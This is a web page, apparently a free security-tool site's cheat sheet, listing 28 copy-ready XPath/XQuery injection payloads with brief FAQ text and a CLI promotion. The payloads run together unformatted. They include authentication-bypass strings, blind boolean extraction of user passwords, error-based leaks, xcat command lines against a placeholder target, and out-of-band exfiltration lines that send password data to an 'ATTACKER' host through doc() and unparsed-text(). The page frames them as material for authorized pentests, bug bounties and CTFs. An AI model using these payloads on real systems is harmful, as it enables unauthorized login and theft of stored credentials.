Real, public XPath/XQuery injection techniques for authorized pentests, bug bounties, and CTFs — auth bypass, blind boolean extraction, error-based leaks, and out-of-band exfil. (28 payloads)
' or '1'='1' or 1=1 or ''='admin' or '1'='1' or position()=1 or ''='x' or name()='username' or 'x'='y") or ("1"="1' and string-length(//user[1]/password)>10 and ''='' and substring(//user[1]/password,1,1)='a' and ''='' and substring(//user[1]/password,1,1)>'m' and ''='' and count(//user)=3 and ''='' and starts-with(//user[1]/password,'a') and ''='' and contains(//user[1]/password,'adm') and ''=''extractvalue(1,concat(0x7e,(//user[1]/password)))updatexml(1,concat(0x7e,(SELECT version())),1)' and count(//*) = 1 and string(1 div 0) and ''=''+substring(name(/*[1]),1,1)+'' or name(/*[1])='root' or ''='count(/*)' and count(/*[1]/*[1]/@*)>0 and ''='name(//user[1]/*[1])' or //*[contains(name(),'pass')] or ''='//user[position()=1]/child::node()xcat --method GET run "http://TARGET/?node=" true_string:"Welcome"doc(concat('http://ATTACKER/', encode-for-uri(//user[1]/password)))unparsed-text(concat('http://ATTACKER/x?d=', //password))xcat --method GET run "http://TARGET/?q=" true_string:"found" --oob-ip ATTACKER_IP --oob-port 80' and doc-available('http://ATTACKER/ping') and ''='Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 28 XPath payloads for testing XPath Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the XPath Injection generator to build customized XPath variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all XPath payloads are completely free, with no account required. Everything runs in your browser.